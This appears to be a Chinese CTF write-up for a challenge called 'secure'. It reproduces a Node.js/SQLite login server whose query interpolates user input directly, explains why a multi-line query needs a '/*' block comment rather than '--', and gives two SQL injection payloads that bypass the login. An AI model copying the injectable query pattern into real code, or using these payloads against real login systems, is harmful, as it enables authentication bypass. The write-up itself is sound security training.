所需知识 SQLite注释符
题目:secure 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 const crypto = require ('crypto' );const express = require ('express' );const db = require ('better-sqlite3' )('db.sqlite3' );db.exec (`DROP TABLE IF EXISTS users;` ); db.exec (`CREATE TABLE users( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT );` );db.exec (`INSERT INTO users (username, password) VALUES ( '${btoa('admin' )} ', '${btoa(crypto.randomUUID)} ' )` );const app = express ();app.use ( require ('body-parser' ).urlencoded ({ extended : false , }) ); app.post ('/login' , (req, res ) => { if (!req.body .username || !req.body .password ) return res.redirect ('/?message=Username and password required!' ); const query = `SELECT id FROM users WHERE username = '${req.body.username} ' AND password = '${req.body.password} ';` ; try { const id = db.prepare (query).get ()?.id ; if (id) return res.redirect (`/?message=${process.env.FLAG} ` ); else throw new Error ('Incorrect login' ); } catch { return res.redirect ( `/?message=Incorrect username or password. Query: ${query} ` ); } }); app.get ('/' , (req, res ) => { res.send (` <div class="container"> <h1>Sign In</h1> <form> <label for="username">Username</label> <input type="text" name="username" id="username" /> <label for="password">Password</label> <input type="password" name="password" id="password" /> <input type="submit" value="Submit" /> </form> <div class="important">${(req.query.message ?? '' ) .toString() .replace(/>|</g)} </div> </div> <script> (async() => { await new Promise((resolve) => window.addEventListener('load', resolve)); document.querySelector('form').addEventListener('submit', (e) => { e.preventDefault(); const form = document.createElement('form'); form.setAttribute('method', 'POST'); form.setAttribute('action', '/login'); const username = document.createElement('input'); username.setAttribute('name', 'username'); username.setAttribute('value', btoa(document.querySelector('#username').value) ); const password = document.createElement('input'); password.setAttribute('name', 'password'); password.setAttribute('value', btoa(document.querySelector('#password').value) ); form.appendChild(username); form.appendChild(password); form.setAttribute('style', 'display: none'); document.body.appendChild(form); form.submit(); }); })(); </script> <style> * { font-family: 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif; box-sizing: border-box; } html, body { height: 100%; margin: 0; } .container { padding: 2rem; width: 90%; max-width: 900px; margin: auto; } .important { color: red; } input:not([type='submit']) { width: 100%; padding: 8px; margin: 8px 0; } input[type='submit'] { margin-bottom: 16px; } </style> ` );}); app.use (function (err, req, res, next ) { console .error (err); req.destroy (); }); app.listen (3000 );
简单审计一下,没有原型链污染,sqlite注入尝试即可出
有个坑点,就是用多行注释/去注username或者password变量都可以,但 *–**是单行注释,而题目中给出的sql查询语句是多行,所以注入username的话不能用–
1 2 3 `SELECT id FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}';`
Payload1 1 username=YWRtaW4=&password=1'%20or%201=1/*
Payload2 1 username=YWRtaW4='/*&password=1